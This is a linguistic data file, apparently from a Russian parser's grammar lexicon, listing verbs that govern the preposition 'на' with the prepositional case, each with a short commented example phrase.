rus_verbs:схоронить{}, // схоронить на кладбище
rus_verbs:тускнеть{}, // тускнеть на солнце
rus_verbs:скопить{}, // скопить на счету
rus_verbs:помыть{}, // помыть на своем этаже
rus_verbs:пороть{}, // пороть на конюшне
rus_verbs:наличествовать{}, // наличествовать на складе
rus_verbs:нащупывать{}, // нащупывать на полке
rus_verbs:змеиться{}, // змеиться на дне
rus_verbs:пожелтеть{}, // пожелтеть на солнце
rus_verbs:заостриться{}, // заостриться на конце
rus_verbs:свезти{}, // свезти на поле
rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре
rus_verbs:подкрутить{}, // подкрутить на приборной панели
rus_verbs:рубиться{}, // рубиться на мечах
rus_verbs:сиживать{}, // сиживать на крыльце
rus_verbs:тараторить{}, // тараторить на иностранном языке
rus_verbs:теплеть{}, // теплеть на сердце
rus_verbs:покачаться{}, // покачаться на ветке
rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче
rus_verbs:развязывать{}, // развязывать на ботинках
rus_verbs:подвозить{}, // подвозить на мотороллере
rus_verbs:вышивать{}, // вышивать на рубашке
rus_verbs:скупать{}, // скупать на открытом рынке
rus_verbs:оформлять{}, // оформлять на встрече
rus_verbs:распускаться{}, // распускаться на клумбах
rus_verbs:прогореть{}, // прогореть на спекуляциях
rus_verbs:приползти{}, // приползти на коленях
rus_verbs:загореть{}, // загореть на пляже
rus_verbs:остудить{}, // остудить на балконе
rus_verbs:нарвать{}, // нарвать на поляне
rus_verbs:издохнуть{}, // издохнуть на болоте
rus_verbs:разгружать{}, // разгружать на дороге
rus_verbs:произрастать{}, // произрастать на болотах
rus_verbs:разуться{}, // разуться на коврике
rus_verbs:сооружать{}, // сооружать на площади
rus_verbs:зачитывать{}, // зачитывать на митинге
rus_verbs:уместиться{}, // уместиться на ладони
rus_verbs:закупить{}, // закупить на рынке
rus_verbs:горланить{}, // горланить на улице
rus_verbs:экономить{}, // экономить на спичках
rus_verbs:исправлять{}, // исправлять на доске
rus_verbs:расслабляться{}, // расслабляться на лежаке
rus_verbs:скапливаться{}, // скапливаться на крыше
rus_verbs:сплетничать{}, // сплетничать на скамеечке
rus_verbs:отъезжать{}, // отъезжать на лимузине
rus_verbs:отчитывать{}, // отчитывать на собрании
rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке
rus_verbs:потчевать{}, // потчевать на лаврах
rus_verbs:окопаться{}, // окопаться на окраине
rus_verbs:загорать{}, // загорать на пляже
rus_verbs:обгореть{}, // обгореть на солнце
rus_verbs:распознавать{}, // распознавать на фотографии
rus_verbs:заплетаться{}, // заплетаться на макушке
rus_verbs:перегреться{}, // перегреться на жаре
rus_verbs:подметать{}, // подметать на крыльце
rus_verbs:нарисоваться{}, // нарисоваться на горизонте
rus_verbs:проскакивать{}, // проскакивать на экране
rus_verbs:попивать{}, // попивать на балконе чай
rus_verbs:отплывать{}, // отплывать на лодке
rus_verbs:чирикать{}, // чирикать на ветках
rus_verbs:скупить{}, // скупить на оптовых базах
rus_verbs:наколоть{}, // наколоть на коже картинку
rus_verbs:созревать{}, // созревать на ветке
rus_verbs:проколоться{}, // проколоться на мелочи
rus_verbs:крутнуться{}, // крутнуться на заднем колесе
rus_verbs:переночевать{}, // переночевать на постоялом дворе
rus_verbs:концентрироваться{}, // концентрироваться на фильтре
rus_verbs:одичать{}, // одичать на хуторе
rus_verbs:спасаться{}, // спасаются на лодке
rus_verbs:доказываться{}, // доказываться на страницах книги
rus_verbs:познаваться{}, // познаваться на ринге
rus_verbs:замыкаться{}, // замыкаться на металлическом предмете
rus_verbs:заприметить{}, // заприметить на пригорке
rus_verbs:продержать{}, // продержать на морозе
rus_verbs:форсировать{}, // форсировать на плотах
rus_verbs:сохнуть{}, // сохнуть на солнце
rus_verbs:выявить{}, // выявить на поверхности
rus_verbs:заседать{}, // заседать на кафедре
rus_verbs:расплачиваться{}, // расплачиваться на выходе
rus_verbs:светлеть{}, // светлеть на горизонте
rus_verbs:залепетать{}, // залепетать на незнакомом языке
rus_verbs:подсчитывать{}, // подсчитывать на пальцах
rus_verbs:зарыть{}, // зарыть на пустыре
rus_verbs:сформироваться{}, // сформироваться на месте
rus_verbs:развертываться{}, // развертываться на площадке
rus_verbs:набивать{}, // набивать на манекенах
rus_verbs:замерзать{}, // замерзать на ветру
rus_verbs:схватывать{}, // схватывать на лету
rus_verbs:перевестись{}, // перевестись на Руси
rus_verbs:смешивать{}, // смешивать на блюдце
rus_verbs:прождать{}, // прождать на входе
rus_verbs:мерзнуть{}, // мерзнуть на ветру
rus_verbs:растирать{}, // растирать на коже
rus_verbs:переспать{}, // переспал на сеновале
rus_verbs:рассекать{}, // рассекать на скутере
rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне
rus_verbs:дрыхнуть{}, // дрыхнуть на диване
rus_verbs:распять{}, // распять на кресте
rus_verbs:запечься{}, // запечься на костре
rus_verbs:застилать{}, // застилать на балконе
rus_verbs:сыскаться{}, // сыскаться на огороде
rus_verbs:разориться{}, // разориться на продаже спичек
rus_verbs:переделать{}, // переделать на станке
rus_verbs:разъяснять{}, // разъяснять на страницах газеты
rus_verbs:поседеть{}, // поседеть на висках
rus_verbs:протащить{}, // протащить на спине
rus_verbs:осуществиться{}, // осуществиться на деле
rus_verbs:селиться{}, // селиться на окраине
rus_verbs:оплачивать{}, // оплачивать на первой кассе
rus_verbs:переворачивать{}, // переворачивать на сковородке
rus_verbs:упражняться{}, // упражняться на батуте
rus_verbs:испробовать{}, // испробовать на себе
rus_verbs:разгладиться{}, // разгладиться на спине
rus_verbs:рисоваться{}, // рисоваться на стекле
rus_verbs:продрогнуть{}, // продрогнуть на морозе
rus_verbs:пометить{}, // пометить на доске
rus_verbs:приютить{}, // приютить на чердаке
rus_verbs:избирать{}, // избирать на первых свободных выборах
rus_verbs:затеваться{}, // затеваться на матче
rus_verbs:уплывать{}, // уплывать на катере
rus_verbs:замерцать{}, // замерцать на рекламном щите
rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне
rus_verbs:запираться{}, // запираться на чердаке
rus_verbs:загубить{}, // загубить на корню
rus_verbs:развеяться{}, // развеяться на природе
rus_verbs:съезжаться{}, // съезжаться на лимузинах
rus_verbs:потанцевать{}, // потанцевать на могиле
rus_verbs:дохнуть{}, // дохнуть на солнце
rus_verbs:припарковаться{}, // припарковаться на газоне
rus_verbs:отхватить{}, // отхватить на распродаже
rus_verbs:остывать{}, // остывать на улице
rus_verbs:переваривать{}, // переваривать на высокой ветке
rus_verbs:подвесить{}, // подвесить на веревке
rus_verbs:хвастать{}, // хвастать на работе
rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая
rus_verbs:разлечься{}, // разлечься на полу
rus_verbs:очертить{}, // очертить на полу
rus_verbs:председательствовать{}, // председательствовать на собрании
rus_verbs:сконфузиться{}, // сконфузиться на сцене
rus_verbs:выявляться{}, // выявляться на ринге
rus_verbs:крутануться{}, // крутануться на заднем колесе
rus_verbs:караулить{}, // караулить на входе
rus_verbs:перечислять{}, // перечислять на пальцах
rus_verbs:обрабатывать{}, // обрабатывать на станке
rus_verbs:настигать{}, // настигать на берегу
rus_verbs:разгуливать{}, // разгуливать на берегу
rus_verbs:насиловать{}, // насиловать на пляже
rus_verbs:поредеть{}, // поредеть на макушке
rus_verbs:учитывать{}, // учитывать на балансе
rus_verbs:зарождаться{}, // зарождаться на большой глубине
rus_verbs:распространять{}, // распространять на сайтах
rus_verbs:пировать{}, // пировать на вершине холма
rus_verbs:начертать{}, // начертать на стене
rus_verbs:расцветать{}, // расцветать на подоконнике
rus_verbs:умнеть{}, // умнеть на глазах
rus_verbs:царствовать{}, // царствовать на окраине
rus_verbs:закрутиться{}, // закрутиться на работе
rus_verbs:отработать{}, // отработать на шахте
rus_verbs:полечь{}, // полечь на поле брани
rus_verbs:щебетать{}, // щебетать на ветке
rus_verbs:подчеркиваться{}, // подчеркиваться на сайте
rus_verbs:посеять{}, // посеять на другом поле
rus_verbs:замечаться{}, // замечаться на пастбище
rus_verbs:просчитать{}, // просчитать на пальцах
rus_verbs:голосовать{}, // голосовать на трассе
rus_verbs:маяться{}, // маяться на пляже
rus_verbs:сколотить{}, // сколотить на службе
rus_verbs:обретаться{}, // обретаться на чужбине
rus_verbs:обливаться{}, // обливаться на улице
rus_verbs:катать{}, // катать на лошадке
rus_verbs:припрятать{}, // припрятать на теле
rus_verbs:запаниковать{}, // запаниковать на экзамене
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете
деепричастие:слетав{},
rus_verbs:срубить{}, // срубить денег на спекуляциях
rus_verbs:зажигаться{}, // зажигаться на улице
rus_verbs:жарить{}, // жарить на углях
rus_verbs:накапливаться{}, // накапливаться на счету
rus_verbs:распуститься{}, // распуститься на грядке
rus_verbs:рассаживаться{}, // рассаживаться на местах
rus_verbs:странствовать{}, // странствовать на лошади
rus_verbs:осматриваться{}, // осматриваться на месте
rus_verbs:разворачивать{}, // разворачивать на завоеванной территории
rus_verbs:согревать{}, // согревать на вершине горы
rus_verbs:заскучать{}, // заскучать на вахте
rus_verbs:перекусить{}, // перекусить на бегу
rus_verbs:приплыть{}, // приплыть на тримаране
rus_verbs:зажигать{}, // зажигать на танцах
rus_verbs:закопать{}, // закопать на поляне
rus_verbs:стирать{}, // стирать на берегу
rus_verbs:подстерегать{}, // подстерегать на подходе
rus_verbs:погулять{}, // погулять на свадьбе
rus_verbs:огласить{}, // огласить на митинге
rus_verbs:разбогатеть{}, // разбогатеть на прииске
rus_verbs:грохотать{}, // грохотать на чердаке
rus_verbs:расположить{}, // расположить на границе
rus_verbs:реализоваться{}, // реализоваться на новой работе
rus_verbs:застывать{}, // застывать на морозе
rus_verbs:запечатлеть{}, // запечатлеть на пленке
rus_verbs:тренироваться{}, // тренироваться на манекене
rus_verbs:поспорить{}, // поспорить на совещании
rus_verbs:затягивать{}, // затягивать на поясе
rus_verbs:зиждиться{}, // зиждиться на твердой основе
rus_verbs:построиться{}, // построиться на песке
rus_verbs:надрываться{}, // надрываться на работе
rus_verbs:закипать{}, // закипать на плите
rus_verbs:затонуть{}, // затонуть на мелководье
rus_verbs:побыть{}, // побыть на фазенде
rus_verbs:сгорать{}, // сгорать на солнце
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице
деепричастие:пописав{ aux stress="поп^исав" },
rus_verbs:подраться{}, // подраться на сцене
rus_verbs:заправить{}, // заправить на последней заправке
rus_verbs:обозначаться{}, // обозначаться на карте
rus_verbs:просиживать{}, // просиживать на берегу
rus_verbs:начертить{}, // начертить на листке
rus_verbs:тормозить{}, // тормозить на льду
rus_verbs:затевать{}, // затевать на космической базе
rus_verbs:задерживать{}, // задерживать на таможне
rus_verbs:прилетать{}, // прилетать на частном самолете
rus_verbs:полулежать{}, // полулежать на травке
rus_verbs:ерзать{}, // ерзать на табуретке
rus_verbs:покопаться{}, // покопаться на складе
rus_verbs:подвезти{}, // подвезти на машине
rus_verbs:полежать{}, // полежать на водном матрасе
rus_verbs:стыть{}, // стыть на улице
rus_verbs:стынуть{}, // стынуть на улице
rus_verbs:скреститься{}, // скреститься на груди
rus_verbs:припарковать{}, // припарковать на стоянке
rus_verbs:здороваться{}, // здороваться на кафедре
rus_verbs:нацарапать{}, // нацарапать на парте
rus_verbs:откопать{}, // откопать на поляне
rus_verbs:смастерить{}, // смастерить на коленках
rus_verbs:довезти{}, // довезти на машине
rus_verbs:избивать{}, // избивать на крыше
rus_verbs:сварить{}, // сварить на костре
rus_verbs:истребить{}, // истребить на корню
rus_verbs:раскопать{}, // раскопать на болоте
rus_verbs:попить{}, // попить на кухне
rus_verbs:заправлять{}, // заправлять на базе
rus_verbs:кушать{}, // кушать на кухне
rus_verbs:замолкать{}, // замолкать на половине фразы
rus_verbs:измеряться{}, // измеряться на весах
rus_verbs:сбываться{}, // сбываться на самом деле
rus_verbs:изображаться{}, // изображается на сцене
rus_verbs:фиксировать{}, // фиксировать на данной высоте
rus_verbs:ослаблять{}, // ослаблять на шее
rus_verbs:зреть{}, // зреть на грядке
rus_verbs:зеленеть{}, // зеленеть на грядке
rus_verbs:критиковать{}, // критиковать на страницах газеты
rus_verbs:облететь{}, // облететь на самолете
rus_verbs:заразиться{}, // заразиться на работе
rus_verbs:рассеять{}, // рассеять на территории
rus_verbs:печься{}, // печься на костре
rus_verbs:поспать{}, // поспать на земле
rus_verbs:сплетаться{}, // сплетаться на макушке
rus_verbs:удерживаться{}, // удерживаться на расстоянии
rus_verbs:помешаться{}, // помешаться на чистоте
rus_verbs:ликвидировать{}, // ликвидировать на полигоне
rus_verbs:проваляться{}, // проваляться на диване
rus_verbs:лечиться{}, // лечиться на дому
rus_verbs:обработать{}, // обработать на станке
rus_verbs:защелкнуть{}, // защелкнуть на руках
rus_verbs:разносить{}, // разносить на одежде
rus_verbs:чесать{}, // чесать на груди
rus_verbs:наладить{}, // наладить на конвейере выпуск
rus_verbs:отряхнуться{}, // отряхнуться на улице
rus_verbs:разыгрываться{}, // разыгрываться на скачках
rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях
rus_verbs:греться{}, // греться на вокзале
rus_verbs:засидеться{}, // засидеться на одном месте
rus_verbs:материализоваться{}, // материализоваться на границе
rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин
rus_verbs:перевозить{}, // перевозить на платформе
rus_verbs:поиграть{}, // поиграть на скрипке
rus_verbs:потоптаться{}, // потоптаться на одном месте
rus_verbs:переправиться{}, // переправиться на плоту
rus_verbs:забрезжить{}, // забрезжить на горизонте
rus_verbs:завывать{}, // завывать на опушке
rus_verbs:заваривать{}, // заваривать на кухоньке
rus_verbs:перемещаться{}, // перемещаться на спасательном плоту
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке
rus_verbs:праздновать{}, // праздновать на улицах
rus_verbs:обучить{}, // обучить на корте
rus_verbs:орудовать{}, // орудовать на складе
rus_verbs:подрасти{}, // подрасти на глядке
rus_verbs:шелестеть{}, // шелестеть на ветру
rus_verbs:раздеваться{}, // раздеваться на публике
rus_verbs:пообедать{}, // пообедать на газоне
rus_verbs:жрать{}, // жрать на помойке
rus_verbs:исполняться{}, // исполняться на флейте
rus_verbs:похолодать{}, // похолодать на улице
rus_verbs:гнить{}, // гнить на каторге
rus_verbs:прослушать{}, // прослушать на концерте
rus_verbs:совещаться{}, // совещаться на заседании
rus_verbs:покачивать{}, // покачивать на волнах
rus_verbs:отсидеть{}, // отсидеть на гаупвахте
rus_verbs:формировать{}, // формировать на секретной базе
rus_verbs:захрапеть{}, // захрапеть на кровати
rus_verbs:объехать{}, // объехать на попутке
rus_verbs:поселить{}, // поселить на верхних этажах
rus_verbs:заворочаться{}, // заворочаться на сене
rus_verbs:напрятать{}, // напрятать на теле
rus_verbs:очухаться{}, // очухаться на земле
rus_verbs:полистать{}, // полистать на досуге
rus_verbs:завертеть{}, // завертеть на шесте
rus_verbs:печатать{}, // печатать на ноуте
rus_verbs:отыскаться{}, // отыскаться на складе
rus_verbs:зафиксировать{}, // зафиксировать на пленке
rus_verbs:расстилаться{}, // расстилаться на столе
rus_verbs:заместить{}, // заместить на посту
rus_verbs:угасать{}, // угасать на неуправляемом корабле
rus_verbs:сразить{}, // сразить на ринге
rus_verbs:расплываться{}, // расплываться на жаре
rus_verbs:сосчитать{}, // сосчитать на пальцах
rus_verbs:сгуститься{}, // сгуститься на небольшой высоте
rus_verbs:цитировать{}, // цитировать на плите
rus_verbs:ориентироваться{}, // ориентироваться на местности
rus_verbs:расширить{}, // расширить на другом конце
rus_verbs:обтереть{}, // обтереть на стоянке
rus_verbs:подстрелить{}, // подстрелить на охоте
rus_verbs:растереть{}, // растереть на твердой поверхности
rus_verbs:подавлять{}, // подавлять на первом этапе
rus_verbs:смешиваться{}, // смешиваться на поверхности
// инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте
// деепричастие:вычитав{},
rus_verbs:сократиться{}, // сократиться на втором этапе
rus_verbs:занервничать{}, // занервничать на экзамене
rus_verbs:соприкоснуться{}, // соприкоснуться на трассе
rus_verbs:обозначить{}, // обозначить на плане
rus_verbs:обучаться{}, // обучаться на производстве
rus_verbs:снизиться{}, // снизиться на большой высоте
rus_verbs:простудиться{}, // простудиться на ветру
rus_verbs:поддерживаться{}, // поддерживается на встрече
rus_verbs:уплыть{}, // уплыть на лодочке
rus_verbs:резвиться{}, // резвиться на песочке
rus_verbs:поерзать{}, // поерзать на скамеечке
rus_verbs:похвастаться{}, // похвастаться на встрече
rus_verbs:знакомиться{}, // знакомиться на уроке
rus_verbs:проплывать{}, // проплывать на катере
rus_verbs:засесть{}, // засесть на чердаке
rus_verbs:подцепить{}, // подцепить на дискотеке
rus_verbs:обыскать{}, // обыскать на входе
rus_verbs:оправдаться{}, // оправдаться на суде
rus_verbs:раскрываться{}, // раскрываться на сцене
rus_verbs:одеваться{}, // одеваться на вещевом рынке
rus_verbs:засветиться{}, // засветиться на фотографиях
rus_verbs:употребляться{}, // употребляться на птицефабриках
rus_verbs:грабить{}, // грабить на пустыре
rus_verbs:гонять{}, // гонять на повышенных оборотах
rus_verbs:развеваться{}, // развеваться на древке
rus_verbs:основываться{}, // основываться на безусловных фактах
rus_verbs:допрашивать{}, // допрашивать на базе
rus_verbs:проработать{}, // проработать на стройке
rus_verbs:сосредоточить{}, // сосредоточить на месте
rus_verbs:сочинять{}, // сочинять на ходу
rus_verbs:ползать{}, // ползать на камне
rus_verbs:раскинуться{}, // раскинуться на пустыре
rus_verbs:уставать{}, // уставать на работе
rus_verbs:укрепить{}, // укрепить на конце
rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь
rus_verbs:одобрять{}, // одобрять на словах
rus_verbs:приговорить{}, // приговорить на заседании тройки
rus_verbs:чернеть{}, // чернеть на свету
rus_verbs:гнуть{}, // гнуть на станке
rus_verbs:размещаться{}, // размещаться на бирже
rus_verbs:соорудить{}, // соорудить на даче
rus_verbs:пастись{}, // пастись на лугу
rus_verbs:формироваться{}, // формироваться на дне
rus_verbs:таить{}, // таить на дне
rus_verbs:приостановиться{}, // приостановиться на середине
rus_verbs:топтаться{}, // топтаться на месте
rus_verbs:громить{}, // громить на подступах
rus_verbs:вычислить{}, // вычислить на бумажке
rus_verbs:заказывать{}, // заказывать на сайте
rus_verbs:осуществить{}, // осуществить на практике
rus_verbs:обосноваться{}, // обосноваться на верхушке
rus_verbs:пытать{}, // пытать на электрическом стуле
rus_verbs:совершиться{}, // совершиться на заседании
rus_verbs:свернуться{}, // свернуться на медленном огне
rus_verbs:пролетать{}, // пролетать на дельтаплане
rus_verbs:сбыться{}, // сбыться на самом деле
rus_verbs:разговориться{}, // разговориться на уроке
rus_verbs:разворачиваться{}, // разворачиваться на перекрестке
rus_verbs:преподнести{}, // преподнести на блюдечке
rus_verbs:напечатать{}, // напечатать на лазернике
rus_verbs:прорвать{}, // прорвать на периферии
rus_verbs:раскачиваться{}, // раскачиваться на доске
rus_verbs:задерживаться{}, // задерживаться на старте
rus_verbs:угощать{}, // угощать на вечеринке
rus_verbs:шарить{}, // шарить на столе
rus_verbs:увеличивать{}, // увеличивать на первом этапе
rus_verbs:рехнуться{}, // рехнуться на старости лет
rus_verbs:расцвести{}, // расцвести на грядке
rus_verbs:закипеть{}, // закипеть на плите
rus_verbs:подлететь{}, // подлететь на параплане
rus_verbs:рыться{}, // рыться на свалке
rus_verbs:добираться{}, // добираться на попутках
rus_verbs:продержаться{}, // продержаться на вершине
rus_verbs:разыскивать{}, // разыскивать на выставках
rus_verbs:освобождать{}, // освобождать на заседании
rus_verbs:передвигаться{}, // передвигаться на самокате
rus_verbs:проявиться{}, // проявиться на свету
rus_verbs:заскользить{}, // заскользить на льду
rus_verbs:пересказать{}, // пересказать на сцене студенческого театра
rus_verbs:протестовать{}, // протестовать на улице
rus_verbs:указываться{}, // указываться на табличках
rus_verbs:прискакать{}, // прискакать на лошадке
rus_verbs:копошиться{}, // копошиться на свежем воздухе
rus_verbs:подсчитать{}, // подсчитать на бумажке
rus_verbs:разволноваться{}, // разволноваться на экзамене
rus_verbs:завертеться{}, // завертеться на полу
rus_verbs:ознакомиться{}, // ознакомиться на ходу
rus_verbs:ржать{}, // ржать на уроке
rus_verbs:раскинуть{}, // раскинуть на грядках
rus_verbs:разгромить{}, // разгромить на ринге
rus_verbs:подслушать{}, // подслушать на совещании
rus_verbs:описываться{}, // описываться на страницах книги
rus_verbs:качаться{}, // качаться на стуле
rus_verbs:усилить{}, // усилить на флангах
rus_verbs:набросать{}, // набросать на клочке картона
rus_verbs:расстреливать{}, // расстреливать на подходе
rus_verbs:запрыгать{}, // запрыгать на одной ноге
rus_verbs:сыскать{}, // сыскать на чужбине
rus_verbs:подтвердиться{}, // подтвердиться на практике
rus_verbs:плескаться{}, // плескаться на мелководье
rus_verbs:расширяться{}, // расширяться на конце
rus_verbs:подержать{}, // подержать на солнце
rus_verbs:планироваться{}, // планироваться на общем собрании
rus_verbs:сгинуть{}, // сгинуть на чужбине
rus_verbs:замкнуться{}, // замкнуться на точке
rus_verbs:закачаться{}, // закачаться на ветру
rus_verbs:перечитывать{}, // перечитывать на ходу
rus_verbs:перелететь{}, // перелететь на дельтаплане
rus_verbs:оживать{}, // оживать на солнце
rus_verbs:женить{}, // женить на богатой невесте
rus_verbs:заглохнуть{}, // заглохнуть на старте
rus_verbs:копаться{}, // копаться на полу
rus_verbs:развлекаться{}, // развлекаться на дискотеке
rus_verbs:печататься{}, // печататься на струйном принтере
rus_verbs:обрываться{}, // обрываться на полуслове
rus_verbs:ускакать{}, // ускакать на лошадке
rus_verbs:подписывать{}, // подписывать на столе
rus_verbs:добывать{}, // добывать на выработке
rus_verbs:скопиться{}, // скопиться на выходе
rus_verbs:повстречать{}, // повстречать на пути
rus_verbs:поцеловаться{}, // поцеловаться на площади
rus_verbs:растянуть{}, // растянуть на столе
rus_verbs:подаваться{}, // подаваться на благотворительном обеде
rus_verbs:повстречаться{}, // повстречаться на митинге
rus_verbs:примоститься{}, // примоститься на ступеньках
rus_verbs:отразить{}, // отразить на страницах доклада
rus_verbs:пояснять{}, // пояснять на страницах приложения
rus_verbs:накормить{}, // накормить на кухне
rus_verbs:поужинать{}, // поужинать на веранде
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге
деепричастие:спев{},
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить на мелководье
rus_verbs:освоить{}, // освоить на практике
rus_verbs:распластаться{}, // распластаться на травке
rus_verbs:отплыть{}, // отплыть на старом каяке
rus_verbs:улетать{}, // улетать на любом самолете
rus_verbs:отстаивать{}, // отстаивать на корте
rus_verbs:осуждать{}, // осуждать на словах
rus_verbs:переговорить{}, // переговорить на обеде
rus_verbs:укрыть{}, // укрыть на чердаке
rus_verbs:томиться{}, // томиться на привязи
rus_verbs:сжигать{}, // сжигать на полигоне
rus_verbs:позавтракать{}, // позавтракать на лоне природы
rus_verbs:функционировать{}, // функционирует на солнечной энергии
rus_verbs:разместить{}, // разместить на сайте
rus_verbs:пронести{}, // пронести на теле
rus_verbs:нашарить{}, // нашарить на столе
rus_verbs:корчиться{}, // корчиться на полу
rus_verbs:распознать{}, // распознать на снимке
rus_verbs:повеситься{}, // повеситься на шнуре
rus_verbs:обозначиться{}, // обозначиться на картах
rus_verbs:оступиться{}, // оступиться на скользком льду
rus_verbs:подносить{}, // подносить на блюдечке
rus_verbs:расстелить{}, // расстелить на газоне
rus_verbs:обсуждаться{}, // обсуждаться на собрании
rus_verbs:расписаться{}, // расписаться на бланке
rus_verbs:плестись{}, // плестись на привязи
rus_verbs:объявиться{}, // объявиться на сцене
rus_verbs:повышаться{}, // повышаться на первом датчике
rus_verbs:разрабатывать{}, // разрабатывать на заводе
rus_verbs:прерывать{}, // прерывать на середине
rus_verbs:каяться{}, // каяться на публике
rus_verbs:освоиться{}, // освоиться на лошади
rus_verbs:подплыть{}, // подплыть на плоту
rus_verbs:оскорбить{}, // оскорбить на митинге
rus_verbs:торжествовать{}, // торжествовать на пьедестале
rus_verbs:поправлять{}, // поправлять на одежде
rus_verbs:отражать{}, // отражать на картине
rus_verbs:дремать{}, // дремать на кушетке
rus_verbs:применяться{}, // применяться на производстве стали
rus_verbs:поражать{}, // поражать на большой дистанции
rus_verbs:расстрелять{}, // расстрелять на окраине хутора
rus_verbs:рассчитать{}, // рассчитать на калькуляторе
rus_verbs:записывать{}, // записывать на ленте
rus_verbs:перебирать{}, // перебирать на ладони
rus_verbs:разбиться{}, // разбиться на катере
rus_verbs:поискать{}, // поискать на ферме
rus_verbs:прятать{}, // прятать на заброшенном складе
rus_verbs:пропеть{}, // пропеть на эстраде
rus_verbs:замелькать{}, // замелькать на экране
rus_verbs:грустить{}, // грустить на веранде
rus_verbs:крутить{}, // крутить на оси
rus_verbs:подготовить{}, // подготовить на конспиративной квартире
rus_verbs:различать{}, // различать на картинке
rus_verbs:киснуть{}, // киснуть на чужбине
rus_verbs:оборваться{}, // оборваться на полуслове
rus_verbs:запутаться{}, // запутаться на простейшем тесте
rus_verbs:общаться{}, // общаться на уроке
rus_verbs:производиться{}, // производиться на фабрике
rus_verbs:сочинить{}, // сочинить на досуге
rus_verbs:давить{}, // давить на лице
rus_verbs:разработать{}, // разработать на секретном предприятии
rus_verbs:качать{}, // качать на качелях
rus_verbs:тушить{}, // тушить на крыше пожар
rus_verbs:охранять{}, // охранять на территории базы
rus_verbs:приметить{}, // приметить на взгорке
rus_verbs:скрыть{}, // скрыть на теле
rus_verbs:удерживать{}, // удерживать на руке
rus_verbs:усвоить{}, // усвоить на уроке
rus_verbs:растаять{}, // растаять на солнечной стороне
rus_verbs:красоваться{}, // красоваться на виду
rus_verbs:сохраняться{}, // сохраняться на холоде
rus_verbs:лечить{}, // лечить на дому
rus_verbs:прокатиться{}, // прокатиться на уницикле
rus_verbs:договариваться{}, // договариваться на нейтральной территории
rus_verbs:качнуться{}, // качнуться на одной ноге
rus_verbs:опубликовать{}, // опубликовать на сайте
rus_verbs:отражаться{}, // отражаться на поверхности воды
rus_verbs:обедать{}, // обедать на веранде
rus_verbs:посидеть{}, // посидеть на лавочке
rus_verbs:сообщаться{}, // сообщаться на официальном сайте
rus_verbs:свершиться{}, // свершиться на заседании
rus_verbs:ночевать{}, // ночевать на даче
rus_verbs:темнеть{}, // темнеть на свету
rus_verbs:гибнуть{}, // гибнуть на территории полигона
rus_verbs:усиливаться{}, // усиливаться на территории округа
rus_verbs:проживать{}, // проживать на даче
rus_verbs:исследовать{}, // исследовать на большой глубине
rus_verbs:обитать{}, // обитать на громадной глубине
rus_verbs:сталкиваться{}, // сталкиваться на большой высоте
rus_verbs:таиться{}, // таиться на большой глубине
rus_verbs:спасать{}, // спасать на пожаре
rus_verbs:сказываться{}, // сказываться на общем результате
rus_verbs:заблудиться{}, // заблудиться на стройке
rus_verbs:пошарить{}, // пошарить на полках
rus_verbs:планировать{}, // планировать на бумаге
rus_verbs:ранить{}, // ранить на полигоне
rus_verbs:хлопать{}, // хлопать на сцене
rus_verbs:основать{}, // основать на горе новый монастырь
rus_verbs:отбить{}, // отбить на столе
rus_verbs:отрицать{}, // отрицать на заседании комиссии
rus_verbs:устоять{}, // устоять на ногах
rus_verbs:отзываться{}, // отзываться на страницах отчёта
rus_verbs:притормозить{}, // притормозить на обочине
rus_verbs:читаться{}, // читаться на лице
rus_verbs:заиграть{}, // заиграть на саксофоне
rus_verbs:зависнуть{}, // зависнуть на игровой площадке
rus_verbs:сознаться{}, // сознаться на допросе
rus_verbs:выясняться{}, // выясняться на очной ставке
rus_verbs:наводить{}, // наводить на столе порядок
rus_verbs:покоиться{}, // покоиться на кладбище
rus_verbs:значиться{}, // значиться на бейджике
rus_verbs:съехать{}, // съехать на санках
rus_verbs:познакомить{}, // познакомить на свадьбе
rus_verbs:завязать{}, // завязать на спине
rus_verbs:грохнуть{}, // грохнуть на площади
rus_verbs:разъехаться{}, // разъехаться на узкой дороге
rus_verbs:столпиться{}, // столпиться на крыльце
rus_verbs:порыться{}, // порыться на полках
rus_verbs:ослабить{}, // ослабить на шее
rus_verbs:оправдывать{}, // оправдывать на суде
rus_verbs:обнаруживаться{}, // обнаруживаться на складе
rus_verbs:спастись{}, // спастись на дереве
rus_verbs:прерваться{}, // прерваться на полуслове
rus_verbs:строиться{}, // строиться на пустыре
rus_verbs:познать{}, // познать на практике
rus_verbs:путешествовать{}, // путешествовать на поезде
rus_verbs:побеждать{}, // побеждать на ринге
rus_verbs:рассматриваться{}, // рассматриваться на заседании
rus_verbs:продаваться{}, // продаваться на открытом рынке
rus_verbs:разместиться{}, // разместиться на базе
rus_verbs:завыть{}, // завыть на холме
rus_verbs:настигнуть{}, // настигнуть на окраине
rus_verbs:укрыться{}, // укрыться на чердаке
rus_verbs:расплакаться{}, // расплакаться на заседании комиссии
rus_verbs:заканчивать{}, // заканчивать на последнем задании
rus_verbs:пролежать{}, // пролежать на столе
rus_verbs:громоздиться{}, // громоздиться на полу
rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе
rus_verbs:поскользнуться{}, // поскользнуться на льду
rus_verbs:таскать{}, // таскать на спине
rus_verbs:просматривать{}, // просматривать на сайте
rus_verbs:обдумать{}, // обдумать на досуге
rus_verbs:гадать{}, // гадать на кофейной гуще
rus_verbs:останавливать{}, // останавливать на выходе
rus_verbs:обозначать{}, // обозначать на странице
rus_verbs:долететь{}, // долететь на спортивном байке
rus_verbs:тесниться{}, // тесниться на чердачке
